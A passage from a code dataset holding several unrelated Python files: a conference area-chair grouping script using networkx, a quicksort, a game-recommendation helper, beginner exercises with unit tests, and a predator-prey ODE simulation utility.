Ying',\n 'Barron | Jonthan' : 'Barron | Jon',\n 'Li | Li-Jia' : 'Li | Jia',\n 'Efros | Alexei' : 'Efros | Alexei (Alyosha)'}\n if key in mapping:\n return mapping[key].lower()\n return key.lower()\n\ndef parse_recent_acs(recent_acs_fn, metareviewers):\n recent_acs = {}\n with open(recent_acs_fn) as csvfile:\n reader = csv.reader(csvfile, delimiter=',', quotechar='\"')\n for d, datum in enumerate(reader):\n if d == 0:\n continue \n _, _, _, _, _, _, name, num_ac, _, _, _ = datum\n names = name.split(' ')\n if len(names) == 2:\n key = '{} | {}'.format(names[1], names[0]).lower()\n elif len(names) == 3:\n key = '{} | {}'.format(names[2], ' ' .join([names[0], names[1]])).lower()\n elif len(names) == 4:\n key = '{} | {}'.format(names[3], ' ' .join([names[0], names[1], names[2]])).lower()\n else:\n print ('Unhandled case \"{}\"...Exiting'.format(names))\n\n\n recent_acs[key] = int(num_ac)\n\n for key in metareviewers:\n k = normalize_names(key)\n if k not in recent_acs:\n print ('\\tReviewer {} has not been an AC before'.format(key))\n metareviewers[key]['# Times AC'] = 0\n else:\n metareviewers[key]['# Times AC'] = recent_acs[k]\n\ndef formulate_bipartite_graph(metareviewers, domains, options):\n graph = nx.Graph()\n graph.add_nodes_from(metareviewers.keys(), bipartite=0)\n graph.add_nodes_from(domains, bipartite=1)\n for m in metareviewers:\n graph.add_edges_from([(m,c) for c in metareviewers[m]['conflicts']])\n\n c = nx.algorithms.bipartite.clustering(graph, metareviewers.keys())\n\n pp.pprint('#'*100)\n pp.pprint('Total MetaReviewers: {}'.format(len(metareviewers.keys())))\n pp.pprint(domains)\n pp.pprint ('='*100)\n pp.pprint(c)\n\ndef make_graph(arranged_graphs, graph_size, level, debug):\n if graph_size in arranged_graphs:\n g = arranged_graphs[graph_size].pop()\n if len(arranged_graphs[graph_size]) == 0:\n del arranged_graphs[graph_size]\n return [g]\n else:\n if debug:\n print ('\\t'*level + 'Making graph of size: {} / {}'.format(graph_size-1, 1))\n\n g1 = make_graph(arranged_graphs, graph_size-1, level+1, debug)\n g2 = make_graph(arranged_graphs, 1, level+1, debug)\n if debug:\n for g in g1:\n print ('\\t'*level + 'Graphs created of size: {}'.format(len(g.nodes())))\n for g in g2:\n print ('\\t'*level + 'Graphs created of size: {}'.format(len(g.nodes())))\n g1.extend(g2)\n return g1\n\ndef restore_edges(G, F):\n for n1,n2 in F.edges():\n if n1 in G and n2 in G and not G.has_edge(n1,n2):\n G.add_weighted_edges_from([(n1, n2, F[n1][n2]['weight'])])\n\ndef merge_graphs(full_graph, graphs, options):\n print('Merge processed graphs to appropriate size')\n debug = False\n arranged_graphs = {}\n final_graphs = []\n group_size = int(1.0*options['num_reviewers']/options['num_groups'])\n sorted_lengths = []\n for g in graphs:\n key = len(g.nodes())\n sorted_lengths.append(key)\n if key in arranged_graphs:\n arranged_graphs[key].append(g)\n else:\n arranged_graphs[key] = [g]\n \n sorted_lengths = sorted(sorted_lengths, reverse=True)\n\n for jj in arranged_graphs:\n print('\\t{} graphs with length {}'.format(len(arranged_graphs[jj]),jj ))\n \n print ('#'*100)\n print ('#'*100)\n counter = 0\n while True:\n k = sorted_lengths[counter]\n counter += 1\n if len(arranged_graphs.keys()) == 0:\n break\n\n if k not in arranged_graphs:\n continue\n\n print ('\\tStarting graph size: {}'.format(k))\n \n\n g = arranged_graphs[k].pop()\n if len(arranged_graphs[k]) == 0:\n del arranged_graphs[k]\n\n merged_graphs = make_graph(arranged_graphs, group_size - len(g.nodes()), level=2, debug=debug)\n merged_graphs.append(g)\n for m in merged_graphs:\n print ('\\tMerged graphs: {}'.format(len(m.nodes())))\n \n print ('\\t' + '!'*100)\n final_graphs.append(merged_graphs)\n \n \n print ('Final check of graph sizes')\n for ii, f in enumerate(final_graphs):\n counter = 0\n for g in f:\n counter += len(g.nodes())\n print ('\\tGraph {} of size: {}'.format(ii, counter))\n \n combined_graphs = []\n final_partition = {}\n for ii, g in enumerate(final_graphs):\n plt.gcf().clear()\n plt.clf()\n combined_graph = nx.algorithms.operators.all.compose_all(g)\n combined_graphs.append(combined_graph)\n restore_edges(combined_graph, full_graph)\n draw_weighted_graph(combined_graph, fn='weighted-graph-{}.png'.format(ii), layout=nx.shell_layout)\n for n in combined_graph.nodes():\n final_partition[n] = ii\n\n graph_union = nx.algorithms.operators.all.compose_all(combined_graphs)\n print ('Original graph: {} edges. Combined graph: {} edges'.format(len(full_graph.edges()), len(graph_union.edges())))\n draw_weighted_graph(graph_union, fn='combined-weighted-graphs.png', layout=nx.shell_layout)\n draw_weighted_graph(full_graph, fn='full-graph.png', layout=nx.shell_layout)\n\n community_graph = community.induced_graph(final_partition, full_graph, weight='weight')\n draw_weighted_graph(community_graph, fn='community_graph.png', layout=nx.shell_layout)\n graph_difference = nx.algorithms.operators.binary.difference(full_graph, graph_union)\n\n remove_nodes = []\n isolates = nx.isolates(graph_difference)\n for n in isolates:\n remove_nodes.append(n)\n graph_difference.remove_nodes_from(remove_nodes)\n draw_weighted_graph(graph_difference, fn='missing-edges.png', layout=nx.shell_layout)\n return final_partition\n\ndef find_between_community_edges(partition, G):\n print (partition)\n print ('*'*100)\n edges = {}\n edges_count = {}\n\n for (ni, nj) in G.edges():\n ci = int(partition[ni])\n cj = int(partition[nj])\n if cj < ci:\n ci,cj = cj,ci\n if ci != cj:\n try:\n edges[(ci, cj)].append([(ni, nj)])\n except KeyError:\n edges[(ci, cj)] = [(ni, nj)]\n\n community_edges = []\n for c_e in edges:\n c1,c2 = c_e\n community_edges.append([len(edges[c_e]), c1, c2])\n edges_count[c_e] = len(edges[c_e])\n\n community_edges = sorted(community_edges,key=lambda x: x[0], reverse=True)\n return edges, edges_count, community_edges#, sorted(edges, key=len, reverse=True)\n\ndef get_partition_sizes(partition):\n partition_sizes = {}\n for ii,name in enumerate(partition):\n partition_num = partition[name]\n if partition_num not in partition_sizes:\n partition_sizes[partition_num] = 0\n partition_sizes[partition_num] += 1\n return partition_sizes\n\ndef aggregate_partitions(partition, G, group_size):\n print ('Aggregate partitions')\n complete = False\n while not complete:\n merged_partitions = False\n partition_sizes = get_partition_sizes(partition)\n edges, edges_count, community_edges = find_between_community_edges(partition, G)\n\n for count,ci,cj in community_edges:\n if partition_sizes[ci] + partition_sizes[cj] > group_size:\n continue\n merged_partitions = True\n for name in partition:\n if partition[name] == cj:\n partition[name] = ci\n break\n if merged_partitions:\n continue\n complete = True\n return partition\n # sys.exit(1)\ndef formulate_weighted_graph(metareviewers, domains, options):\n edges = []\n graph = nx.Graph()\n graph.add_nodes_from(metareviewers.keys(), bipartite=0)\n \n for i, r1 in enumerate(sorted(metareviewers.keys())):\n for j, r2 in enumerate(sorted(metareviewers.keys())):\n if i <= j:\n continue\n domain_conflicts = list(set(metareviewers[r1]['conflicts']).intersection(set(metareviewers[r2]['conflicts'])))\n edge_weight = len(domain_conflicts)\n if edge_weight > 0:\n graph.add_weighted_edges_from([(r1, r2, edge_weight)], attr={'label': ';'.join(domain_conflicts)})\n\n group_size = int(1.0*options['num_reviewers']/options['num_groups'])\n print ('Ideal cluster size: {}'.format(group_size))\n\n\n remaining_subgraphs = []\n processed_subgraphs = []\n for k,cc_nodes in enumerate(sorted(nx.connected_components(graph), key=len, reverse=True)):\n remaining_subgraphs.append(graph.subgraph(cc_nodes))\n\n\n partition_counter = 0\n while len(remaining_subgraphs) > 0:\n partition_counter += 1\n cc = remaining_subgraphs.pop()\n if len(cc) > group_size:\n from networkx.algorithms.community import greedy_modularity_communities, asyn_fluidc, girvan_newman, kernighan_lin_bisection, k_clique_communities, label_propagation_communities\n\n partition = community.best_partition(cc)\n partition = aggregate_partitions(partition, cc, group_size)\n\n partitioned_nodes = {}\n partitioned_subgraphs = []\n for ii, m in enumerate(partition):\n if partition[m] not in partitioned_nodes:\n partitioned_nodes[partition[m]] = [m]\n else:\n partitioned_nodes[partition[m]].append(m)\n for p in partitioned_nodes:\n partitioned_subgraphs.append(graph.subgraph(partitioned_nodes[p]))\n remaining_subgraphs.extend(partitioned_subgraphs)\n else:\n processed_subgraphs.append(cc)\n\n print ('Processed subgraphs: {}'.format(len(processed_subgraphs)))\n partition = merge_graphs(graph, processed_subgraphs, options)\n return partition\n\ndef output_csvs(metareviewers, partition):\n group_conflicts = {}\n all_institutions = []\n with open('panel_assignments.csv', 'w') as csvfile:\n fieldnames = ['Group', 'Last name', 'First name', 'Org', 'Conflicts']\n writer = csv.DictWriter(csvfile, fieldnames=fieldnames)\n writer.writeheader()\n\n for p in range(0,max(partition.values()) + 1):\n group_conflicts[p] = []\n for name in partition:\n if partition[name] != p:\n continue\n metareviewer = metareviewers[name]\n print ('{},{},{},{},{}'.format(p,metareviewer['lastname'],metareviewer['firstname'], metareviewer['org'], metareviewer['conflicts']))\n writer.writerow({\n 'Group': p,\n 'Last name': metareviewer['lastname'],\n 'First name': metareviewer['firstname'], \n 'Org': metareviewer['org'],\n 'Conflicts': ' ; '.join(metareviewer['conflicts'])\n })\n group_conflicts[p].extend(metareviewer['conflicts'])\n\n print('{},,,,'.format(set(group_conflicts[p])))\n writer.writerow({\n 'Group': 'Group conflicts: {}'.format(set(group_conflicts[p])),\n 'Last name': '',\n 'First name': '', \n 'Org': '',\n 'Conflicts': ''\n })\n\n print(',,,,')\n writer.writerow({\n 'Group': '',\n 'Last name': '',\n 'First name': '', \n 'Org': '',\n 'Conflicts': ''\n })\n all_institutions.extend(group_conflicts[p])\n \n with open('institutional_assignments.csv', 'w') as csvfile:\n fieldnames = ['Institution', 'Group(s)', 'Total groups']\n writer = csv.DictWriter(csvfile, fieldnames=fieldnames)\n writer.writeheader()\n for inst in sorted(set(all_institutions)):\n groups = []\n for p in range(0,max(partition.values())):\n if inst in group_conflicts[p]:\n groups.append(str(p))\n writer.writerow({\n 'Institution': inst,\n 'Group(s)': ' ; '.join(groups),\n 'Total groups': len(groups)\n })\n\n with open('metareviewers-aggregated.csv', 'w') as csvfile:\n fieldnames = ['First Name', 'Last Name', 'Email', 'Organization', 'Assigned', 'Completed', '% Completed', 'Bids', \\\n 'Domain Conflicts Entered', 'Revised Domain Conflicts Entered', 'User Type', 'Subject Areas - Selected', 'Subject Areas - Primary', \\\n 'Subject Areas - Secondary', 'Conflicts', 'Revised Conflicts', 'Group', '# Times AC']\n writer = csv.DictWriter(csvfile, fieldnames=fieldnames)\n writer.writeheader()\n for key in metareviewers:\n m = metareviewers[key]\n\n writer.writerow({\n 'First Name': m['firstname'],\n 'Last Name': m['lastname'],\n 'Email': m['email'],\n 'Organization': m['org'], \n 'Assigned': m['assigned'], \n 'Completed': m['completed'], \n '% Completed': m['completed percent'],\n 'Bids': m['bids'],\n 'Domain Conflicts Entered': m['original-conflicts-entered'], \n 'Revised Domain Conflicts Entered': m['conflicts-entered'], \n 'User Type': m['user type'], \n 'Subject Areas - Selected': m['selected'], \n 'Subject Areas - Primary': m['primary'], \n 'Subject Areas - Secondary': m['secondary'],\n 'Conflicts': m['original-conflicts'], \n 'Revised Conflicts': m['conflicts'],\n 'Group': partition[key],\n '# Times AC': m['# Times AC']\n }) \n\ndef main():\n parser = ArgumentParser(description='')\n parser.add_argument('-u', '--users_txt', help='Users.txt as exported from CMT (contains conflict information)')\n parser.add_argument('-m', '--metareviewers_csv', help='metareviewers.csv as copied and pasted from CMT')\n parser.add_argument('-r', '--recent_acs_csv', help='Recents ACs csv file')\n parser.add_argument('-p', '--partition', help='partition file')\n parser_options = parser.parse_args()\n\n users, organizations = parse_users(parser_options.users_txt)\n metareviewers, domains = parse_metareviewers(parser_options.metareviewers_csv, users, organizations)\n parse_recent_acs(parser_options.recent_acs_csv, metareviewers)\n\n options = {'num_groups': 8, 'num_reviewers': len(metareviewers)}\n if parser_options.partition is None:\n partition = formulate_weighted_graph(metareviewers, domains, options)\n with open('partition-{}.json'.format(str(datetime.datetime.now())), 'w') as pout:\n json.dump(partition, pout, indent=4, sort_keys=True)\n else:\n with open(parser_options.partition, 'r') as pin:\n partition = json.load(pin)\n\n output_csvs(metareviewers, partition)\n \nif __name__ == '__main__':\n main()","repo_name":"rajkataria/PaperMatching","sub_path":"utils/calculate_ac_groups.py","file_name":"calculate_ac_groups.py","file_ext":"py","file_size_in_byte":23315,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"72241891442","text":"def quickSort(unsorted):\n\tsort(unsorted,0,len(unsorted)-1)\n\t\ndef sort(arr, left, right):\n if left < right:\n partitionValue = partition(arr, left, right)\n sort(arr, left, partitionValue-1)\n sort(arr, partitionValue+1, right)\n\ndef partition(arr,left,right):\n leftPointer = left - 1\n pivot = arr[right]\n for i in range(left, right):\n if arr[i] <= pivot:\n leftPointer +=1\n arr[leftPointer], arr[i] = arr[i], arr[leftPointer]\n arr[leftPointer+1], arr[right] = arr[right],arr[leftPointer+1]\n return leftPointer+1\n \n\n\t\narr = [5, 7, 4, 2, 9, 66, 22, 6, 11, 33]\nprint(\"Original Array\")\nprint(arr)\nquickSort(arr)\nprint(\"Sorted Array\")\nprint(arr)","repo_name":"kmathur7/Data-Structures-and-Algorithms","sub_path":"Python/Sorting/Quicksort/Quicksort.py","file_name":"Quicksort.py","file_ext":"py","file_size_in_byte":668,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"17164590740","text":"from game_database_sep import genre_sample, special_sample, genre_dict, special_dict, game_nodes\r\nfrom gr_genregraph import GenreGraph\r\nfrom gr_graphhashmap import GraphHashmap\r\nfrom gr_node import GameNode\r\nfrom gr_hashmap import Hashmap\r\n\r\n\r\n# originally used by multiple files, now these functions are only used by gr_userdata\r\n\r\n\r\n# function for populating graphs with game titles - for right now, will only populate graphs that match user's likes\r\ndef create_graph_lists(hashmap, user_keys, uniquekey=None, new_threshhold=70, min_game_list_size=3): \r\n if uniquekey == None:\r\n for title in game_nodes.get_key_list():\r\n # change user_prefs to genre_sample to populate all possible genre tags\r\n for key in user_keys.keys():\r\n\r\n hashmap.get_single_graph(key).change_threshhold(new_threshhold)\r\n hashmap.set_node(key, game_nodes.get_value(title))\r\n\r\n\r\n # this part will allow individual genre graphs to be reevaluated based on a lower threshhold to make sure a list has a min # of games\r\n else:\r\n threshhold = new_threshhold\r\n unique_graph_length = len(hashmap.get_single_graph(uniquekey).game_list)\r\n\r\n while threshhold > 10 and unique_graph_length < min_game_list_size:\r\n threshhold -= 10\r\n hashmap.get_single_graph(uniquekey).game_list = []\r\n \r\n for title in game_nodes.get_key_list():\r\n\r\n hashmap.set_node(uniquekey, game_nodes.get_value(title), threshhold)\r\n\r\n\r\n\r\n# checks the length of each genre graphs game list and will call the create_graph_list function again on specific genre graphs\r\n# for them to be reevaluated until they have the required number of games or the threshhold reaches 0\r\n# (meaning whatever list you have at the end is the max number possible)\r\ndef check_graph_length(hashmap, user_keys, min_game_list_size=3):\r\n temp_dict = hashmap.get_all_lists(list(user_keys.keys()))\r\n\r\n for key in temp_dict.keys():\r\n\r\n # debug - print(f\"{key} --- {len(temp_dict[key])}\")\r\n\r\n if len(temp_dict[key]) < min_game_list_size:\r\n create_graph_lists(hashmap, genre_sample, key, 70, min_game_list_size)\r\n","repo_name":"BigBowly/GameRec","sub_path":"gr_creategraphs.py","file_name":"gr_creategraphs.py","file_ext":"py","file_size_in_byte":2091,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"17774532104","text":"# 1. Say Hello\n# Write a function called hello(name) that returns a string of characters. This function will take as argument a variable name. This function will return a string 'Hello name'\ndef hello(name = \"Anonymous\"):\n return \"Hello {}\".format(name)\nhello()\n\n#2. Count students\n#Create a function \"sumOfStudents()\" that calculates and returns the number of students in a list. The function will have to return an integer.\nstudents = ([[\"Jean\", \"Alice\", \"Edwige\", \"Peter\", \"James\"],\n [\"Redouane\", \"Justine\", \"Adrien\", \"Nicolas\", \"Pierre\"]])\n\n\ndef sumOfStudents(students):\n y = 0\n for x in (students[0] + students[1]):\n y += 1\n return y\n\n\nsumOfStudents(students)\n\n#3. Is divisible ?\n#Create a function isDivisible(n, x, y) that checks if a number n is divisible by two numbers x AND y. All inputs are positive, non-zero digits.\ndef is_divisible(n,x,y):\n if n%x==0 and n%y==0:\n print(n==n,'because {} is divisible by {} and {}'.format(n,x,y))\n elif n%x==0 or n%y==0:\n if n%x!=0:\n print(n!=n,\"because {} is not divisible by {}\".format(n,x) )\n elif n%y!=0:\n print(n!=n,\"because {} is not divisible by {}\".format(n,y) )\n else:\n print(n!=n,\"because {} is not divisible by {} nor {}\".format(n,x,y))\n\nis_divisible(10,5,8)\n\n# 4. Abbreviate a Two Words Name\n#Write a function to convert a name into initials. This kata strictly takes two words with one space in between them.\nname = input('what is your name and last name?')\ndef abbrevName(name):\n first_letter = name[0]\n name = name.split()\n a = name[0]\n b = name[1]\n return \"{}.{}\".format(a[0].upper(),b[0].upper())\nabbrevName(name)\n\n# 5Sum of positive\n# You get an array of numbers, return the sum of all of the positives ones.\nnumbers = [1,-4,7,12]\ndef positive_sum(numbers):\n y =0\n for x in numbers:\n if x>0:\n y+=x\n return y\npositive_sum(numbers)\n\n#6. Sum mixed array\n#Given an array of integers as strings and numbers, return the sum of the array values as if all were numbers.\n#Return your answer as a number.\narr = ['5', '0', 9, 3, 2, 1, '9', 6, 7]\ndef sum_mix(arr):\n y=0\n for x in arr:\n x = int(x)\n y += x\n return y\nsum_mix(arr)\n\n\"\"\"7. Return the day\nComplete the function which returns the weekday according to the input number:\n\n1 returns \"Sunday\"\n2 returns \"Monday\"\n3 returns \"Tuesday\"\n4 returns \"Wednesday\"\n5 returns \"Thursday\"\n6 returns \"Friday\"\n7 returns \"Saturday\"\nOtherwise returns \"Wrong, please enter a number between 1 and 7\"\n\"\"\"\nnum = int(input('give me the number of the day'))\ndays = [\"Sunday\",\"Monday\",\"Tuesday\",\"Wednesday\",\"Thursday\",\"Friday\",\"Saturday\"]\ndef whatday(num):\n num -= 1\n return \"{}\".format(days[num])\nwhatday(num)\n\n#8. Summation\n#Write a program that finds the summation of every number from 1 to num. The number will always be a positive integer greater than 0.\ndef summation(num):\n number=0\n while num != 0:\n number += num\n num -= 1\n return number\nsummation(8)\n\n#9. If you can't sleep, just count sheep!!\n#Given a non-negative integer, 3 for example, return a string with a murmur: \"1 sheep...2 sheep...3 sheep...\". Input will always be valid, i.e. no negative integers.\n\nsheep = \" sheep...\"\n\n\ndef count_sheep(n):\n x = 1\n while x <= n:\n print(\"{} {}\".format(x, sheep))\n x += 1\n\n\ncount_sheep(4)\n\n\"\"\"10. Student's final grade¶\nCreate a function finalGrade, which calculates the final grade of a student depending on two parameters: a grade for the exam and a number of completed projects.\n\nThis function should take two arguments: exam - grade for exam (from 0 to 100); projects - number of completed projects (from 0 and above);\n\nThis function should return a number (final grade). There are four types of final grades:\n\n100, if a grade for the exam is more than 90 or if a number of completed projects more than 10.\n90, if a grade for the exam is more than 75 and if a number of completed projects is minimum 5.\n75, if a grade for the exam is more than 50 and if a number of completed projects is minimum 2.\n0, in other cases\"\"\"\n\ndef final_grade(exam, projects):\n if exam > 90 or projects> 10:\n return 100\n elif exam>75 and projects>=5:\n return 90\n elif exam>50 and projects>=2:\n return 75\n else:\n return 0\n\nfinal_grade(100,12)\nfinal_grade(75,5)\n\n\n\n# test code :\nimport unittest\n\n\nclass TestNotebook(unittest.TestCase):\n\n def test_hello(self):\n self.assertEqual(hello(), 'Hello Anonymous')\n self.assertEqual(hello(\"Jean\"), 'Hello Jean')\n\n def test_sumOfStudents(self):\n self.assertEqual(sumOfStudents(\n [[\"Jean\", \"Alice\", \"Edwige\", \"Peter\", \"James\"], [\"Redouane\", \"Justine\", \"Adrien\", \"Nicolas\", \"Pierre\"]]),\n 10)\n\n def test_is_divisible(self):\n self.assertEqual(is_divisible(3, 3, 4), False)\n self.assertEqual(is_divisible(12, 3, 4), True)\n self.assertEqual(is_divisible(8, 3, 4), False)\n self.assertEqual(is_divisible(48, 3, 4), True)\n\n def test_abbrevName(self):\n self.assertEqual(abbrevName(\"Sam Harris\"), \"S.H\");\n self.assertEqual(abbrevName(\"Patrick Feenan\"), \"P.F\");\n self.assertEqual(abbrevName(\"Evan Cole\"), \"E.C\");\n self.assertEqual(abbrevName(\"P Favuzzi\"), \"P.F\");\n self.assertEqual(abbrevName(\"David Mendieta\"), \"D.M\");\n\n def test_positive_sum(self):\n self.assertEqual(positive_sum([1, 2, 3, 4, 5]), 15)\n self.assertEqual(positive_sum([1, -2, 3, 4, 5]), 13)\n self.assertEqual(positive_sum([-1, 2, 3, 4, -5]), 9)\n self.assertEqual(positive_sum([]), 0)\n self.assertEqual(positive_sum([-1, -2, -3, -4, -5]), 0)\n\n def test_sum_mixed_array(self):\n self.assertEqual(sum_mix([9, 3, '7', '3']), 22)\n self.assertEqual(sum_mix(['5', '0', 9, 3, 2, 1, '9', 6, 7]), 42)\n self.assertEqual(sum_mix(['3', 6, 6, 0, '5', 8, 5, '6', 2, '0']), 41)\n self.assertEqual(sum_mix(['1', '5', '8', 8, 9, 9, 2, '3']), 45)\n self.assertEqual(sum_mix([8, 0, 0, 8, 5, 7, 2, 3, 7, 8, 6, 7]), 61)\n\n def test_return_day(self):\n self.assertEqual(whatday(1), 'Sunday')\n self.assertEqual(whatday(2), 'Monday')\n self.assertEqual(whatday(3), 'Tuesday')\n self.assertEqual(whatday(8), 'Wrong, please enter a number between 1 and 7')\n self.assertEqual(whatday(20), 'Wrong, please enter a number between 1 and 7')\n\n def test_final_grade(self):\n self.assertEqual(final_grade(100, 12), 100)\n self.assertEqual(final_grade(85, 5), 90)\n\n def test_count_sheep(self):\n self.assertEqual(count_sheep(1), \"1 sheep...\");\n self.assertEqual(count_sheep(2), \"1 sheep...2 sheep...\")\n self.assertEqual(count_sheep(3), \"1 sheep...2 sheep...3 sheep...\")\n\n def test_summation(self):\n self.assertEqual(summation(1), 1)\n self.assertEqual(summation(8), 36)\n\n\nunittest.main(argv=[''], verbosity=2, exit=False)","repo_name":"Abderzorai/PythonTraining","sub_path":"Function 2.py","file_name":"Function 2.py","file_ext":"py","file_size_in_byte":6984,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"24521474351","text":"import pickle\nimport h5py\nimport numpy as np\nimport torch\nimport copy\nimport ast\n\n\n\n\n# R-M data\nfilepath = '../R-M data/final_output.mat'\nfile = h5py.File(filepath)\ndataset = file['final_output']\ndata = np.array(dataset)\ndata_flipped = np.transpose(data, (3, 2, 1, 0))\nfull_data = data_flipped\n\n\n\n\n\n# PICKLE: STORE AND LOAD\n\n# This is a void function\ndef save_to_pickle(obj, filename):\n \"\"\"\n Saves a Python object to a file using the pickle module.\n\n :param obj: The Python object to be saved\n :param filename: The name of the file where the object will be stored\n \"\"\"\n with open(filename, 'wb') as file:\n pickle.dump(obj, file)\n\n\ndef load_from_pickle(filename):\n \"\"\"\n Loads a Python object from a file using the pickle module.\n\n :param filename: The name of the file where the object is stored\n :return: The loaded Python object\n \"\"\"\n with open(filename, 'rb') as file:\n obj = pickle.load(file)\n return obj\n\n\ndef get_RM_full_data(filepath):\n file = h5py.File(filepath)\n dataset = file['final_output']\n data = np.array(dataset)\n data_flipped = np.transpose(data, (3, 2, 1, 0))\n full_data = data_flipped\n return full_data\n\n\n\n## GETTING THE SIMULATOR DONE\ndef position_in_five(parameter):\n if abs(parameter - 0.2) < 1e-3:\n return 1\n elif abs(parameter - 0.3) < 1e-3:\n return 2\n elif abs(parameter - 0.4) < 1e-3:\n return 3\n elif abs(parameter - 0.5) < 1e-3:\n return 4\n elif abs(parameter - 0.6) < 1e-3:\n return 5\n else:\n return None\n\ndef get_one_sample(array):\n num_rows = array.shape[0]\n random_row_index = np.random.randint(2, num_rows)\n random_row = array[random_row_index]\n return torch.tensor(random_row)\n\n\n\ndef get_data_reduced(value_0, value_1):\n # For baseline, the region can simply be approximated by h+m <= 0.8\n value_0_round = round(value_0, 1)\n value_1_round = round(value_1, 1)\n\n save_0 = value_0_round; save_1 = value_1_round\n\n if value_0_round + value_1_round > 0.8:\n value_0_round = 0.8 - save_1\n value_1_round = 0.8 - save_0\n\n m_position = position_in_five(value_0_round);\n h_position = position_in_five(value_1_round);\n\n if m_position == None or h_position == None:\n print(\"None error\")\n\n m_file_position = (m_position - 1)*5\n h_file_position = (h_position - 1)*5\n\n return get_one_sample(full_data[m_file_position, h_file_position, :, :])\n\n\ndef round_to_nearest(value, step):\n return round(value / step) * step\n\ndef get_data_full(value_0, value_1):\n # For baseline, the region can simply be approximated by h+m <= 0.8\n step = 0.02\n value_0_round = round_to_nearest(value_0, step)\n value_1_round = round_to_nearest(value_1, step)\n save_0 = value_0_round; save_1 = value_1_round\n if value_0_round + value_1_round > 0.8:\n value_0_round = 0.8 - save_1\n value_1_round = 0.8 - save_0\n\n\n m_file_position = int(round((value_0_round - 0.2)/0.02))\n h_file_position = int(round((value_1_round - 0.2)/0.02))\n\n\n return get_one_sample(full_data[m_file_position, h_file_position, :, :])\n\n\ndef ODE_simulator_reduced(parameter_set):\n numpy_para = parameter_set.numpy()\n m = numpy_para[0]; h = numpy_para[1];\n one_sample_from_the_set = get_data_reduced(m,h)\n return one_sample_from_the_set\n\n\n\ndef ODE_simulator_on_fine_grids(parameter_set):\n numpy_para = parameter_set.numpy()\n m = numpy_para[0]; h = numpy_para[1];\n one_sample_from_the_set = get_data_full(m,h)\n return one_sample_from_the_set\n\n\n\n\ndef get_sample(df_np, number_of_observations):\n \"\"\"\n Get certain number of samples from [X, Y, T] data\n\n :param df_np: a 2-d numpy array, usually a [X, Y, T] sheet given some (m,h)\n :param number_of_observations: sample size\n \"\"\"\n df_copy = copy.deepcopy(df_np)\n np.random.shuffle(df_copy) # void method\n return df_copy[0:number_of_observations,:]\n\n\n## ======================= Embedded simulation===========================================\ndef in_parameter_regime(r, k, a, b, m, h):\n \"\"\"\n parameter regime check\n \"\"\"\n if h < k * (a * b - m) / (a * b + m) and m < a * b:\n return True\n else:\n return False\n\n\ndef get_xy_simulation(m, h):\n # Initialize parameters\n r = 1;k = 1;a = 2\n b = 0.5 # baseline valeus\n\n try:\n if in_parameter_regime(r, k, a, b, m, h) == False:\n raise ValueError(\"Parameter not in regime\")\n n = 500000 # number of time-step for ODE simulations\n xy = np.zeros((n, 2))\n xy[0, :] = [0.1, 0.02] # Initial values for x and y\n\n # Specify parameter bases\n r_bar = 1;k_bar = 1;a_bar = 2;b_bar = 0.5\n m_bar = m;h_bar = h\n\n # time step\n dt = 0.01;sqrt_dt = np.sqrt(dt)\n\n # Noise and other parameters\n gamma = 1;sigma = 0.1\n\n # Seed and random number generation\n #np.random.seed(1)\n epsilon = np.random.randn(n, 3)\n\n # Main loop\n for i in range(1, n):\n currx, curry = xy[i - 1]\n\n dr = gamma * (r_bar - r) * dt + sigma * np.sqrt(r) * epsilon[i, 0] * sqrt_dt\n r += dr\n dh = gamma * (h_bar - h) * dt + sigma * np.sqrt(h) * epsilon[i, 1] * sqrt_dt\n h += dh\n dm = gamma * (m_bar - m) * dt + sigma * np.sqrt(m) * epsilon[i, 2] * sqrt_dt\n m += dm\n\n xy[i, 0] = (r * currx * (1 - currx / k) - a * currx * curry / (currx + h)) * dt + currx\n xy[i, 1] = (a * b * currx * curry / (currx + h) - m * curry) * dt + curry\n\n return xy\n\n except ValueError as ve:\n # Handle ValueError\n return f\"Error: {ve}\"\n\n except Exception as e:\n # Handle other exceptions\n return f\"An unexpected error occurred: {e}\"\n\n\n# data_test = run_simulation(0.2, 0.2)\n\n\n# Assuming data_tensor and curr_tensor are already defined as NumPy arrays\n# and 'counter' is set to a valid index\ndef get_xyt(data_test):\n dat = data_test[250:, :]\n\n # Parameters\n dt = 0.01\n yt = 0.2; xt = 0.2 # Thresholds\n\n\n\n # Convert the string back to a list of lists\n # if (isinstance(dat, str)):\n # array_list = ast.literal_eval(dat)\n # dat = np.array(array_list)\n\n # boolean_array = dat[:, 1] > yt\n # c1 = np.argmax(boolean_array)\n\n\n\n # Initialization\n per, x_max, x_min, y_max, y_min, x_amp, y_amp = [], [], [], [], [], [], []\n j = 0\n\n while len(dat) > 0:\n yc1 = np.argmax(dat[:, 1] < yt)\n xc1 = np.argmax(dat[yc1:, 0] > xt)\n yc2 = np.argmax(dat[yc1 + xc1:, 1] > yt)\n yc3 = np.argmax(dat[yc1 + xc1 + yc2:, 1] < yt)\n\n if yc3 > 0:\n curr_period_end_index = yc1 + xc1 + yc2 + yc3 - 1\n\n per.append((yc3 + yc2 + xc1) * dt)\n x_max.append(np.max(dat[:curr_period_end_index, 0]))\n x_min.append(np.min(dat[:curr_period_end_index, 0]))\n y_max.append(np.max(dat[:curr_period_end_index, 1]))\n y_min.append(np.min(dat[:curr_period_end_index, 1]))\n x_amp.append(x_max[j] - x_min[j])\n y_amp.append(y_max[j] - y_min[j])\n\n j += 1\n dat = dat[yc1 + xc1 + yc2 + yc3:]\n else:\n break\n\n return np.column_stack((x_amp, y_amp, per))\n\n\n\ndef ODE_simulator_embedded(parameter_set):\n numpy_para = parameter_set.numpy()\n m = numpy_para[0]; h = numpy_para[1]\n step = 0.02\n save_m = m\n save_h = h\n if m + h > 0.8:\n m = 0.8 - save_h\n h = 0.8 - save_m\n\n data_sim = get_xy_simulation(m,h)\n data_xyt = get_xyt(data_sim)\n\n one_sample_from_the_set = get_one_sample(data_xyt)\n return one_sample_from_the_set\n\n\n# xy_simulation = get_xy_simulation(0.2,0.2)\n# data_final_test = get_xyt(xy_simulation)\n# print(data_final_test[0:2, :])\n\ntest_parameter_sample = torch.tensor([0.2, 0.2])\ntest_sim_data = 